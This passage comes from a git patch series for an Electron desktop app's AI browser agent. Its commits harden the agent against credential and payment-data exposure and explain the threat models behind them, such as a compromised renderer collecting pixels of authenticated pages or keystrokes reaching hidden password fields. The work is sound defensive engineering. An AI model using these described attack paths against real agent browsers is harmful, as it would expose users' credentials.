' + const editable = document.querySelector('div') as HTMLElement + Object.defineProperty(editable, 'isContentEditable', { get: () => true }) + setActiveElement(document, editable) + + expect(activeElementSecrecy()).toBe('safe') + }) + it('descends into a same-origin frame instead of calling it opaque', () => { const frame = document.createElement('iframe') document.body.append(frame) diff --git a/apps/desktop/src/main/browser-agent/page-functions.ts b/apps/desktop/src/main/browser-agent/page-functions.ts index 9b8868b3e8b..88be6efbd6d 100644 --- a/apps/desktop/src/main/browser-agent/page-functions.ts +++ b/apps/desktop/src/main/browser-agent/page-functions.ts @@ -104,8 +104,39 @@ export function collectSnapshot(): unknown { // A reveal toggle flips the field to type="text" without making its // contents any less secret, and some forms never use type="password" at // all. The autocomplete token is the page's own declaration either way. + // Space-separated detail tokens are spec-legal and WebAuthn recommends + // `current-password webauthn`, so whole-string equality missed real values + // on exactly the type=text credential fields where autocomplete is the + // only signal there is. const hint = String(el.getAttribute('autocomplete') || '').toLowerCase() - return hint === 'current-password' || hint === 'new-password' + return hint + .split(/\s+/) + .some((token) => token === 'current-password' || token === 'new-password') + } + + /** + * Fields whose value is as sensitive as a password but which the agent must + * still be able to FILL: one-time codes and payment details. + * + * Deliberately separate from isSecretField. That one also gates keystrokes + * (activeElementSecrecy feeds the driver's press-key guard), so folding these + * tokens into it would stop the agent completing a checkout or an OTP prompt — + * work it is legitimately asked to do. Only the value is withheld here. + */ + const isSensitiveValueField = (el: Element | null): boolean => { + if (!el || el.tagName !== 'INPUT') return false + const hint = String(el.getAttribute('autocomplete') || '').toLowerCase() + return hint + .split(/\s+/) + .some( + (token) => + token === 'one-time-code' || + token === 'cc-number' || + token === 'cc-csc' || + token === 'cc-exp' || + token === 'cc-exp-month' || + token === 'cc-exp-year' + ) } const roleFor = (el: Element): string => { @@ -170,7 +201,8 @@ export function collectSnapshot(): unknown { // like any other. Redaction above is realm-safe and runs first, so // widening this cannot expose a credential field. const value = (el as HTMLInputElement).value - if (value) parts.push(`value="${cut(String(value), 120)}"`) + if (value && isSensitiveValueField(el)) parts.push('value-withheld') + else if (value) parts.push(`value="${cut(String(value), 120)}"`) } if (el.tagName === 'A') { const href = el.getAttribute('href') @@ -271,8 +303,14 @@ export function clickElement(id: number): unknown { const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true + // Space-separated detail tokens are spec-legal and WebAuthn recommends + // `current-password webauthn`, so whole-string equality missed real values + // on exactly the type=text credential fields where autocomplete is the + // only signal there is. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() - return hint === 'current-password' || hint === 'new-password' + return hint + .split(/\s+/) + .some((token) => token === 'current-password' || token === 'new-password') } const el = (window.__simAgentElements || [])[id] @@ -321,8 +359,14 @@ export function focusElementForTyping(id: number): unknown { const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true + // Space-separated detail tokens are spec-legal and WebAuthn recommends + // `current-password webauthn`, so whole-string equality missed real values + // on exactly the type=text credential fields where autocomplete is the + // only signal there is. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() - return hint === 'current-password' || hint === 'new-password' + return hint + .split(/\s+/) + .some((token) => token === 'current-password' || token === 'new-password') } const el = (window.__simAgentElements || [])[id] @@ -372,8 +416,39 @@ export function readActiveElementState(): unknown { const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true + // Space-separated detail tokens are spec-legal and WebAuthn recommends + // `current-password webauthn`, so whole-string equality missed real values + // on exactly the type=text credential fields where autocomplete is the + // only signal there is. + const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() + return hint + .split(/\s+/) + .some((token) => token === 'current-password' || token === 'new-password') + } + + /** + * Fields whose value is as sensitive as a password but which the agent must + * still be able to FILL: one-time codes and payment details. + * + * Deliberately separate from isSecretField. That one also gates keystrokes + * (activeElementSecrecy feeds the driver's press-key guard), so folding these + * tokens into it would stop the agent completing a checkout or an OTP prompt — + * work it is legitimately asked to do. Only the value is withheld here. + */ + const isSensitiveValueField = (node: Element | null): boolean => { + if (!node || node.tagName !== 'INPUT') return false const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() - return hint === 'current-password' || hint === 'new-password' + return hint + .split(/\s+/) + .some( + (token) => + token === 'one-time-code' || + token === 'cc-number' || + token === 'cc-csc' || + token === 'cc-exp' || + token === 'cc-exp-month' || + token === 'cc-exp-year' + ) } // Focus inside a frame or an open shadow root surfaces on the outer document @@ -413,6 +488,17 @@ export function readActiveElementState(): unknown { redacted: true, } } + // Reported as the real tag rather than 'password-field': the agent may + // still type here, it just never learns what is already in the field. + if (isSensitiveValueField(active)) { + return { + activeElement: active.tagName.toLowerCase(), + selectedChars: 0, + valueLength: 0, + valuePreview: '', + redacted: true, + } + } let value = '' let selectedChars = 0 if (active.tagName === 'INPUT' || active.tagName === 'TEXTAREA') { @@ -451,8 +537,14 @@ export function activeElementSecrecy(): string { const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true + // Space-separated detail tokens are spec-legal and WebAuthn recommends + // `current-password webauthn`, so whole-string equality missed real values + // on exactly the type=text credential fields where autocomplete is the + // only signal there is. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() - return hint === 'current-password' || hint === 'new-password' + return hint + .split(/\s+/) + .some((token) => token === 'current-password' || token === 'new-password') } let active = document.activeElement as HTMLElement | null @@ -463,6 +555,34 @@ export function activeElementSecrecy(): string { active = shadow.activeElement as HTMLElement continue } + // A CLOSED shadow root reports `shadowRoot === null` by design and cannot + // be traversed from script, while focus inside it retargets to the HOST — + // whose tagName is never INPUT, so the fallthrough below would call it + // 'safe' and let a trusted CDP keystroke land on a password field the page + // has hidden from us. Sequential focus navigation crosses closed boundaries + // natively, so Tab alone is enough to get there. Treated like a + // cross-origin frame: not inspectable is not safe. + // + // Detected by focusability rather than by tag: `attachShadow` accepts plain + // div/span/section as well as custom elements, so a tag test would miss + // half of them. An element that is not focusable in its own right cannot be + // `activeElement` unless focus was retargeted out of a shadow tree, which + // makes "not focusable yet focused" the reliable signal. Frames stay out of + // it so the branch below still classifies them. + const focusableItself = + active === document.body || + active.isContentEditable || + active.hasAttribute('tabindex') || + active.tagName === 'INPUT' || + active.tagName === 'TEXTAREA' || + active.tagName === 'SELECT' || + active.tagName === 'BUTTON' || + active.tagName === 'A' || + active.tagName === 'AREA' || + active.tagName === 'SUMMARY' || + active.tagName === 'IFRAME' || + active.tagName === 'FRAME' + if (!shadow && !focusableItself) return 'opaque' if (active.tagName === 'IFRAME' || active.tagName === 'FRAME') { let inner: Document | null = null try { @@ -486,8 +606,14 @@ export function typeIntoElement(id: number, text: string, submit: boolean): unkn const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true + // Space-separated detail tokens are spec-legal and WebAuthn recommends + // `current-password webauthn`, so whole-string equality missed real values + // on exactly the type=text credential fields where autocomplete is the + // only signal there is. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() - return hint === 'current-password' || hint === 'new-password' + return hint + .split(/\s+/) + .some((token) => token === 'current-password' || token === 'new-password') } const el = (window.__simAgentElements || [])[id] @@ -556,8 +682,14 @@ export function pressKeyOnPage( const isSecretField = (node: Element | null): boolean => { if (!node || node.tagName !== 'INPUT') return false if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true + // Space-separated detail tokens are spec-legal and WebAuthn recommends + // `current-password webauthn`, so whole-string equality missed real values + // on exactly the type=text credential fields where autocomplete is the + // only signal there is. const hint = String(node.getAttribute('autocomplete') || '').toLowerCase() - return hint === 'current-password' || hint === 'new-password' + return hint + .split(/\s+/) + .some((token) => token === 'current-password' || token === 'new-password') } const target = (document.activeElement as HTMLElement | null) ?? document.body From fc9469fca96b6edd07809422a6a5dd334abee866 Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 29 Jul 2026 14:24:22 -0700 Subject: [PATCH 08/16] fix(desktop): hand the panel occlusion frame only to a user-driven renderer MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit capturePanelSnapshot sent a JPEG of the agent browser's current page to the app renderer, which is content that renderer's own JS cannot otherwise read — the view is a separate process composited over the window. A compromised renderer can drive set-panel-bounds, panel-action navigate and set-panel-occluded itself, so it could aim the shared agent browser at a site with a persisted session and collect its pixels by script alone, bypassing the tool-call binding that guards browser_screenshot for exactly this reason. The frame is now withheld unless the main process has seen recent real input in that renderer, which is what an overlay opening actually represents. The flicker-prevention behaviour is untouched: an empty capture already returns before the send while `finally` still runs the occlusion, so "occlude without a placeholder" is a path the state machine already handles rather than a new one. --- .../src/main/browser-agent/panel.test.ts | 61 ++++++++++++++++++- apps/desktop/src/main/browser-agent/panel.ts | 17 ++++++ .../src/main/browser-agent/session.test.ts | 18 ++++++ 3 files changed, 95 insertions(+), 1 deletion(-) diff --git a/apps/desktop/src/main/browser-agent/panel.test.ts b/apps/desktop/src/main/browser-agent/panel.test.ts index e6f154ce076..e0fd4d8bd89 100644 --- a/apps/desktop/src/main/browser-agent/panel.test.ts +++ b/apps/desktop/src/main/browser-agent/panel.test.ts @@ -2,8 +2,10 @@ import { beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) +import type { WebContents } from 'electron' import { BrowserWindow, WebContentsView } from 'electron' import * as panelModule from '@/main/browser-agent/panel' +import { trackInputActivity } from '@/main/input-activity' type PanelModule = typeof import('@/main/browser-agent/panel') @@ -27,6 +29,29 @@ function freshPanel(): PanelModule { const PANEL_RECT = { x: 400, y: 64, width: 600, height: 800 } +type InputListener = (event: unknown, input: { type: string }) => void + +/** + * Registers a window's renderer with the main-process input tracker and returns + * a way to give it a real click. The occlusion snapshot is only handed over to a + * renderer the user has recently driven, so a fixture has to say so explicitly. + */ +function trackWindowInput(win: BrowserWindow) { + const listeners: InputListener[] = [] + const contents = win.webContents as unknown as { + on: (channel: string, listener: InputListener) => void + isDestroyed: () => boolean + } + contents.on = (channel, listener) => { + if (channel === 'input-event') listeners.push(listener) + } + contents.isDestroyed = () => false + trackInputActivity(win.webContents as WebContents) + return () => { + for (const listener of listeners) listener({}, { type: 'mouseDown' }) + } +} + /** A panel showing one tab, which is the state occlusion applies to. */ function showPanel(panel: PanelModule) { const win = new BrowserWindow() @@ -38,13 +63,15 @@ function showPanel(panel: PanelModule) { ensureInitialTab: () => {}, onViewDetached: () => {}, }) + const press = trackWindowInput(win) + press() panel.setPanelBounds(PANEL_RECT, win) /** Swaps in another tab's view, as switching tabs does. */ const switchTab = (next: WebContentsView) => { active = { id: 'tab-2', view: next, pinned: false } panel.layout() } - return { win, view, switchTab } + return { win, view, switchTab, press } } /** When the view was hidden, in the global mock invocation order. */ @@ -91,6 +118,38 @@ describe('panel occlusion', () => { expect(sent).toBeLessThan(hiddenAt(view) as number) }) + it('withholds the frame from a renderer the user has not driven', async () => { + const panel = freshPanel() + const { win, view } = showPanel(panel) + // A script-only caller: no real OS input has reached this renderer inside + // the recency window, so the pixels of the agent page are not handed over. + vi.useFakeTimers() + try { + vi.advanceTimersByTime(5_000) + panel.setPanelOccluded(true, win) + await vi.waitFor(() => expect(hiddenAt(view)).toBeDefined()) + } finally { + vi.useRealTimers() + } + + expect(snapshotSentAt(win)).toBeUndefined() + }) + + it('still occludes when the frame is withheld, so nothing is left half-applied', async () => { + const panel = freshPanel() + const { win, view } = showPanel(panel) + vi.useFakeTimers() + try { + vi.advanceTimersByTime(5_000) + panel.setPanelOccluded(true, win) + // Hiding must not depend on the snapshot: an empty capture already + // reaches the same path, so this is an existing outcome, not a new one. + await vi.waitFor(() => expect(hiddenAt(view)).toBeDefined()) + } finally { + vi.useRealTimers() + } + }) + it('stays visible when the overlay closes while the frame is being taken', async () => { const { win, view } = showPanel(panel) diff --git a/apps/desktop/src/main/browser-agent/panel.ts b/apps/desktop/src/main/browser-agent/panel.ts index 44b84dee14b..3753148ef9f 100644 --- a/apps/desktop/src/main/browser-agent/panel.ts +++ b/apps/desktop/src/main/browser-agent/panel.ts @@ -20,6 +20,7 @@ import { createLogger } from '@sim/logger' import { getErrorMessage } from '@sim/utils/errors' import type { BrowserWindow, WebContentsView } from 'electron' import type { AgentTab } from '@/main/browser-agent/session' +import { hasRecentDeliberateInput } from '@/main/input-activity' const logger = createLogger('BrowserAgentPanel') @@ -333,6 +334,22 @@ function capturePanelSnapshot(onSettled?: () => void): void { // picture of the page, so it goes to the window still showing the // browser or nowhere at all. if (panelWindow() !== win || win.isDestroyed()) return + // A frame of the agent browser is content the renderer's own JS cannot + // otherwise read — the view is a separate process composited over the + // window. It is handed over so an overlay can show a placeholder instead + // of a blank gap, and an overlay opens because the user did something. A + // compromised renderer can drive set-panel-bounds, panel-action navigate + // and set-panel-occluded on its own, so without this the pixels of an + // authenticated page could be collected by script alone, bypassing the + // tool-call binding that guards browser_screenshot for exactly this. + // + // Skipping the send is an already-supported outcome: an empty capture + // returns here too, and `finally` still runs the occlusion, so no new + // state is introduced — at worst a placeholder is missing for one frame. + if (!hasRecentDeliberateInput(win.webContents)) { + logger.warn('Withheld browser panel snapshot with no recent user input') + return + } // Downscale and JPEG-encode before crossing IPC. capturePage returns a // device-pixel PNG — on a retina half-window that is millions of pixels, // and toDataURL's PNG encode is synchronous on the main process, so a diff --git a/apps/desktop/src/main/browser-agent/session.test.ts b/apps/desktop/src/main/browser-agent/session.test.ts index 8ba73fcfc9b..161ead3f5fb 100644 --- a/apps/desktop/src/main/browser-agent/session.test.ts +++ b/apps/desktop/src/main/browser-agent/session.test.ts @@ -4,9 +4,11 @@ vi.mock('electron', () => import('@/test/electron-mock')) import { MAX_BROWSER_TABS } from '@sim/browser-protocol' import { sleep } from '@sim/utils/helpers' +import type { WebContents } from 'electron' import { BrowserWindow, session as electronSession } from 'electron' import * as panel from '@/main/browser-agent/panel' import * as sessionModule from '@/main/browser-agent/session' +import { trackInputActivity } from '@/main/input-activity' type SessionModule = typeof import('@/main/browser-agent/session') @@ -34,6 +36,8 @@ interface MockView { setVisible: ReturnType } +type InputListener = (event: unknown, input: { type: string }) => void + function mainWindowMock() { const win = new BrowserWindow() as unknown as { contentView: { @@ -43,6 +47,20 @@ function mainWindowMock() { webContents: { getZoomFactor?: ReturnType } } win.webContents.getZoomFactor = vi.fn(() => 1) + // The occlusion snapshot is only handed to a renderer the user has recently + // driven, so these fixtures — which stand in for a user with the panel open — + // register with the input tracker and report one real click. + const listeners: InputListener[] = [] + const contents = win.webContents as unknown as { + on: (channel: string, listener: InputListener) => void + isDestroyed: () => boolean + } + contents.on = (channel, listener) => { + if (channel === 'input-event') listeners.push(listener) + } + contents.isDestroyed = () => false + trackInputActivity(win.webContents as unknown as WebContents) + for (const listener of listeners) listener({}, { type: 'mouseDown' }) return win as unknown as BrowserWindow } From c18f4d38e575ee5dc32b46fdb76cdaa3b478fdc6 Mon Sep 17 00:00:00 2001 From: Waleed Latif Date: Wed, 29 Jul 2026 14:39:45 -0700 Subject: [PATCH 09/16] fix(desktop): act on adversarial review of the security fixes MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Six review agents went through the branch line by line. Several of the fixes were wrong, incomplete, or worse than the finding they closed. terminal:write was gated on the whole channel, which is a functional break, not a fix. That channel carries xterm.js's entire upstream stream, and much of it is not typing: the PTY solicits replies the terminal must answer unprompted — DSR cursor position (p10k/starship emit it every prompt), device attributes, focus reports set by tmux and vim. Now only a payload that can submit (one containing a newline) needs input behind it. Also stated plainly in the code: this is a mitigation. Text without a newline still lands in the line buffer where the user's own Enter submits it, and closing that needs the interactive path off the renderer surface, not a better gate. The panel occlusion gate is reverted outright. Occlusion is driven by any element marked data-native-surface-overlay, which includes tooltips (hover, and hover is deliberately not "deliberate input") and toasts (no input at all), so the common case regressed. Worse, the renderer only ever sets panelSnapshot and never clears it, so withholding a frame shows the PREVIOUS overlay's frame — the exact defect panel.test.ts was written to prevent — while the already-delivered frame stays readable. Net negative on both axes. The credential grant ordering is inverted to exact match. reveal was treated as dominating copy, but copy publishes plaintext to the macOS pasteboard: readable by every process, persisted by clipboard managers past the 30s clear, and synced to other devices by Universal Clipboard. The operations are incomparable. Update downloads are constrained to the release asset prefix, not just to https. The feed rewrites every entry to github.com/simstudioai/sim/releases/download/, so nothing legitimate is excluded — while scheme-only validation still admitted an attacker-hosted DMG that the download dialog walks the user through installing, which is worse than the protocol-handler launch originally fixed. The loopback exemption is dropped with it: no legitimate asset is ever http. State goes to 'error', not 'idle', so a blocked shell is not told it is current. Subresource DNS verdicts cache the promise, not the boolean. Caching only the result left every request arriving before the first lookup settled to start its own, and dns.lookup is getaddrinfo on the four-slot libuv threadpool shared with every fs call in main — a page naming hundreds of hosts could stall the settings write and the credential vault. Also: an eighth copy of the credential-token vocabulary in the browser preload was missed by the original commit while its comment claimed parity, so fill went blind to `current-password webauthn`; the OTP/payment readback zeroed valueLength and told the agent a successful fill was still empty, inviting a doubled code; tagName comparisons are upper-cased for XHTML; DIALOG/VIDEO/AUDIO/EMBED/OBJECT are focusable and no longer report opaque; drags count as input; a backwards clock step no longer satisfies a recency gate; and clearing cache or profile now clears resolved-host verdicts too. The closed-shadow residual is documented rather than closed: a host carrying tabindex or contenteditable still reports safe, and refusing those would block Enter and Space on ordinary
buttons, since a closed root is indistinguishable from no root at all. --- .../main/browser-agent/page-functions.test.ts | 6 +- .../src/main/browser-agent/page-functions.ts | 52 ++++++++--- .../src/main/browser-agent/panel.test.ts | 61 +----------- apps/desktop/src/main/browser-agent/panel.ts | 23 ----- .../src/main/browser-agent/session.test.ts | 18 ---- .../desktop/src/main/browser-agent/session.ts | 35 +++++-- .../src/main/browser-agent/url-guard.test.ts | 44 +++++++++ .../src/main/browser-agent/url-guard.ts | 93 +++++++++++++------ .../main/browser-credentials/os-auth.test.ts | 17 ++-- .../src/main/browser-credentials/os-auth.ts | 24 ++--- apps/desktop/src/main/input-activity.ts | 41 ++++++-- apps/desktop/src/main/ipc.test.ts | 18 +++- apps/desktop/src/main/ipc.ts | 66 +++++++++---- apps/desktop/src/main/updater.test.ts | 25 ++++- apps/desktop/src/main/updater.ts | 52 +++++++++-- apps/desktop/src/preload/browser/index.ts | 11 ++- 16 files changed, 372 insertions(+), 214 deletions(-) diff --git a/apps/desktop/src/main/browser-agent/page-functions.test.ts b/apps/desktop/src/main/browser-agent/page-functions.test.ts index 6b09207fdb9..55cd839c869 100644 --- a/apps/desktop/src/main/browser-agent/page-functions.test.ts +++ b/apps/desktop/src/main/browser-agent/page-functions.test.ts @@ -353,14 +353,16 @@ describe('readActiveElementState', () => { ['a one-time code', 'one-time-code', '123456'], ['a card number', 'cc-number', '4111111111111111'], ['a card security code', 'cc-csc', '737'], - ])('withholds %s on readback but keeps the real tag', (_label, token, value) => { + ])('withholds %s on readback but still confirms the fill', (_label, token, value) => { document.body.innerHTML = `` setActiveElement(document, document.querySelector('input')) + // valueLength is kept: without it a successful type reads as "still empty" + // and the agent types the code a second time. expect(readActiveElementState()).toEqual({ activeElement: 'input', selectedChars: 0, - valueLength: 0, + valueLength: value.length, valuePreview: '', redacted: true, }) diff --git a/apps/desktop/src/main/browser-agent/page-functions.ts b/apps/desktop/src/main/browser-agent/page-functions.ts index 88be6efbd6d..601e54ca46e 100644 --- a/apps/desktop/src/main/browser-agent/page-functions.ts +++ b/apps/desktop/src/main/browser-agent/page-functions.ts @@ -488,13 +488,18 @@ export function readActiveElementState(): unknown { redacted: true, } } - // Reported as the real tag rather than 'password-field': the agent may - // still type here, it just never learns what is already in the field. + // Only the preview is withheld, and the real tag is kept: the agent is allowed + // to fill these, so it still needs the readback this function exists for. + // Zeroing valueLength told it the field was empty after a successful type, and + // the natural next move is to type again — a doubled OTP or card number. + // A length is not a disclosure here; 6 and 16 are properties of the format. if (isSensitiveValueField(active)) { + const field = active as HTMLInputElement + const current = String(field.value ?? '') return { activeElement: active.tagName.toLowerCase(), - selectedChars: 0, - valueLength: 0, + selectedChars: Math.abs((field.selectionEnd ?? 0) - (field.selectionStart ?? 0)), + valueLength: current.length, valuePreview: '', redacted: true, } @@ -569,19 +574,38 @@ export function activeElementSecrecy(): string { // `activeElement` unless focus was retargeted out of a shadow tree, which // makes "not focusable yet focused" the reliable signal. Frames stay out of // it so the branch below still classifies them. + // Tag compared upper-cased: tagName preserves case outside the HTML + // namespace and is lower-case for HTML elements in an XHTML document, where + // every comparison below would otherwise miss. + const tag = String(active.tagName || '').toUpperCase() + // RESIDUAL, stated rather than papered over: `tabindex` and + // `contenteditable` exempt an element even on a shadow-capable tag, so a + // host carrying either — `
` with a closed root — still + // reports 'safe'. A closed root is indistinguishable from no root at all + // (that is what `mode: 'closed'` buys the page), and `
` + // buttons and menu items are everywhere, so refusing them would block Enter + // and Space on ordinary pages to close a targeted case. The only reliable + // detector is `attachShadow` throwing, which is destructive. Narrowing this + // needs the driver to stop trusting a page-derived signal, not a better + // guess here. const focusableItself = - active === document.body || + active === active.ownerDocument.body || active.isContentEditable || active.hasAttribute('tabindex') || - active.tagName === 'INPUT' || - active.tagName === 'TEXTAREA' || - active.tagName === 'SELECT' || - active.tagName === 'BUTTON' || - active.tagName === 'A' || - active.tagName === 'AREA' || - active.tagName === 'SUMMARY' || - active.tagName === 'IFRAME' || - active.tagName === 'FRAME' + tag === 'INPUT' || + tag === 'TEXTAREA' || + tag === 'SELECT' || + tag === 'BUTTON' || + tag === 'A' || + tag === 'AREA' || + tag === 'SUMMARY' || + tag === 'DIALOG' || + tag === 'VIDEO' || + tag === 'AUDIO' || + tag === 'EMBED' || + tag === 'OBJECT' || + tag === 'IFRAME' || + tag === 'FRAME' if (!shadow && !focusableItself) return 'opaque' if (active.tagName === 'IFRAME' || active.tagName === 'FRAME') { let inner: Document | null = null diff --git a/apps/desktop/src/main/browser-agent/panel.test.ts b/apps/desktop/src/main/browser-agent/panel.test.ts index e0fd4d8bd89..e6f154ce076 100644 --- a/apps/desktop/src/main/browser-agent/panel.test.ts +++ b/apps/desktop/src/main/browser-agent/panel.test.ts @@ -2,10 +2,8 @@ import { beforeEach, describe, expect, it, vi } from 'vitest' vi.mock('electron', () => import('@/test/electron-mock')) -import type { WebContents } from 'electron' import { BrowserWindow, WebContentsView } from 'electron' import * as panelModule from '@/main/browser-agent/panel' -import { trackInputActivity } from '@/main/input-activity' type PanelModule = typeof import('@/main/browser-agent/panel') @@ -29,29 +27,6 @@ function freshPanel(): PanelModule { const PANEL_RECT = { x: 400, y: 64, width: 600, height: 800 } -type InputListener = (event: unknown, input: { type: string }) => void - -/** - * Registers a window's renderer with the main-process input tracker and returns - * a way to give it a real click. The occlusion snapshot is only handed over to a - * renderer the user has recently driven, so a fixture has to say so explicitly. - */ -function trackWindowInput(win: BrowserWindow) { - const listeners: InputListener[] = [] - const contents = win.webContents as unknown as { - on: (channel: string, listener: InputListener) => void - isDestroyed: () => boolean - } - contents.on = (channel, listener) => { - if (channel === 'input-event') listeners.push(listener) - } - contents.isDestroyed = () => false - trackInputActivity(win.webContents as WebContents) - return () => { - for (const listener of listeners) listener({}, { type: 'mouseDown' }) - } -} - /** A panel showing one tab, which is the state occlusion applies to. */ function showPanel(panel: PanelModule) { const win = new BrowserWindow() @@ -63,15 +38,13 @@ function showPanel(panel: PanelModule) { ensureInitialTab: () => {}, onViewDetached: () => {}, }) - const press = trackWindowInput(win) - press() panel.setPanelBounds(PANEL_RECT, win) /** Swaps in another tab's view, as switching tabs does. */ const switchTab = (next: WebContentsView) => { active = { id: 'tab-2', view: next, pinned: false } panel.layout() } - return { win, view, switchTab, press } + return { win, view, switchTab } } /** When the view was hidden, in the global mock invocation order. */ @@ -118,38 +91,6 @@ describe('panel occlusion', () => { expect(sent).toBeLessThan(hiddenAt(view) as number) }) - it('withholds the frame from a renderer the user has not driven', async () => { - const panel = freshPanel() - const { win, view } = showPanel(panel) - // A script-only caller: no real OS input has reached this renderer inside - // the recency window, so the pixels of the agent page are not handed over. - vi.useFakeTimers() - try { - vi.advanceTimersByTime(5_000) - panel.setPanelOccluded(true, win) - await vi.waitFor(() => expect(hiddenAt(view)).toBeDefined()) - } finally { - vi.useRealTimers() - } - - expect(snapshotSentAt(win)).toBeUndefined() - }) - - it('still occludes when the frame is withheld, so nothing is left half-applied', async () => { - const panel = freshPanel() - const { win, view } = showPanel(panel) - vi.useFakeTimers() - try { - vi.advanceTimersByTime(5_000) - panel.setPanelOccluded(true, win) - // Hiding must not depend on the snapshot: an empty capture already - // reaches the same path, so this is an existing outcome, not a new one. - await vi.waitFor(() => expect(hiddenAt(view)).toBeDefined()) - } finally { - vi.useRealTimers() - } - }) - it('stays visible when the overlay closes while the frame is being taken', async () => { const { win, view } = showPanel(panel) diff --git a/apps/desktop/src/main/browser-agent/panel.ts b/apps/desktop/src/main/browser-agent/panel.ts index 3753148ef9f..376d934e807 100644 --- a/apps/desktop/src/main/browser-agent/panel.ts +++ b/apps/desktop/src/main/browser-agent/panel.ts @@ -20,7 +20,6 @@ import { createLogger } from '@sim/logger' import { getErrorMessage } from '@sim/utils/errors' import type { BrowserWindow, WebContentsView } from 'electron' import type { AgentTab } from '@/main/browser-agent/session' -import { hasRecentDeliberateInput } from '@/main/input-activity' const logger = createLogger('BrowserAgentPanel') @@ -334,28 +333,6 @@ function capturePanelSnapshot(onSettled?: () => void): void { // picture of the page, so it goes to the window still showing the // browser or nowhere at all. if (panelWindow() !== win || win.isDestroyed()) return - // A frame of the agent browser is content the renderer's own JS cannot - // otherwise read — the view is a separate process composited over the - // window. It is handed over so an overlay can show a placeholder instead - // of a blank gap, and an overlay opens because the user did something. A - // compromised renderer can drive set-panel-bounds, panel-action navigate - // and set-panel-occluded on its own, so without this the pixels of an - // authenticated page could be collected by script alone, bypassing the - // tool-call binding that guards browser_screenshot for exactly this. - // - // Skipping the send is an already-supported outcome: an empty capture - // returns here too, and `finally` still runs the occlusion, so no new - // state is introduced — at worst a placeholder is missing for one frame. - if (!hasRecentDeliberateInput(win.webContents)) { - logger.warn('Withheld browser panel snapshot with no recent user input') - return - } - // Downscale and JPEG-encode before crossing IPC. capturePage returns a - // device-pixel PNG — on a retina half-window that is millions of pixels, - // and toDataURL's PNG encode is synchronous on the main process, so a - // full-size encode stalls every window's input for the frame. This is a - // placeholder shown under a transient overlay, so a downscaled JPEG is - // indistinguishable and an order of magnitude cheaper to encode and send. const snapshot: BrowserPanelSnapshot = { dataUrl: encodeSnapshot(image), tabId } win.webContents.send('browser-agent:panel-snapshot', snapshot) }) diff --git a/apps/desktop/src/main/browser-agent/session.test.ts b/apps/desktop/src/main/browser-agent/session.test.ts index 161ead3f5fb..8ba73fcfc9b 100644 --- a/apps/desktop/src/main/browser-agent/session.test.ts +++ b/apps/desktop/src/main/browser-agent/session.test.ts @@ -4,11 +4,9 @@ vi.mock('electron', () => import('@/test/electron-mock')) import { MAX_BROWSER_TABS } from '@sim/browser-protocol' import { sleep } from '@sim/utils/helpers' -import type { WebContents } from 'electron' import { BrowserWindow, session as electronSession } from 'electron' import * as panel from '@/main/browser-agent/panel' import * as sessionModule from '@/main/browser-agent/session' -import { trackInputActivity } from '@/main/input-activity' type SessionModule = typeof import('@/main/browser-agent/session') @@ -36,8 +34,6 @@ interface MockView { setVisible: ReturnType } -type InputListener = (event: unknown, input: { type: string }) => void - function mainWindowMock() { const win = new BrowserWindow() as unknown as { contentView: { @@ -47,20 +43,6 @@ function mainWindowMock() { webContents: { getZoomFactor?: ReturnType } } win.webContents.getZoomFactor = vi.fn(() => 1) - // The occlusion snapshot is only handed to a renderer the user has recently - // driven, so these fixtures — which stand in for a user with the panel open — - // register with the input tracker and report one real click. - const listeners: InputListener[] = [] - const contents = win.webContents as unknown as { - on: (channel: string, listener: InputListener) => void - isDestroyed: () => boolean - } - contents.on = (channel, listener) => { - if (channel === 'input-event') listeners.push(listener) - } - contents.isDestroyed = () => false - trackInputActivity(win.webContents as unknown as WebContents) - for (const listener of listeners) listener({}, { type: 'mouseDown' }) return win as unknown as BrowserWindow } diff --git a/apps/desktop/src/main/browser-agent/session.ts b/apps/desktop/src/main/browser-agent/session.ts index bf7c6847426..15cff4dff58 100644 --- a/apps/desktop/src/main/browser-agent/session.ts +++ b/apps/desktop/src/main/browser-agent/session.ts @@ -27,6 +27,7 @@ import { import { registerAgentWebContents } from '@/main/browser-agent/registry' import { checkAgentUrl, + clearHostVerdictCache, isBlockedRequestUrl, isBlockedSubresourceUrl, subresourceNeedsResolution, @@ -315,31 +316,45 @@ function configureAgentPartition(ses: Session): void { // labels differently than expected fails safe into the checked path; see // subresourceNeedsResolution. ses.webRequest.onBeforeRequest((details, callback) => { + // Answered exactly once, and never throwing. A throw inside the `then` + // below would otherwise land in the `catch` and answer a second time, and + // by the time an async check settles the request's loader may be gone — + // now the case for most subresources, not just the odd navigation. + let settled = false + const settle = (cancel: boolean) => { + if (settled) return + settled = true + try { + callback({ cancel }) + } catch (error) { + logger.warn('Could not answer an agent request', { error: getErrorMessage(error) }) + } + } if (details.resourceType === 'mainFrame' || details.resourceType === 'subFrame') { void checkAgentUrl(details.url) .then((guard) => { if (!guard.ok) { logger.warn('Blocked agent document navigation to a private host') } - callback({ cancel: !guard.ok }) + settle(!guard.ok) }) .catch((error) => { // Fail closed: an unexpected rejection must cancel, never leave the // request suspended with no callback. logger.error('Agent SSRF check failed; cancelling request', { error }) - callback({ cancel: true }) + settle(true) }) return } if 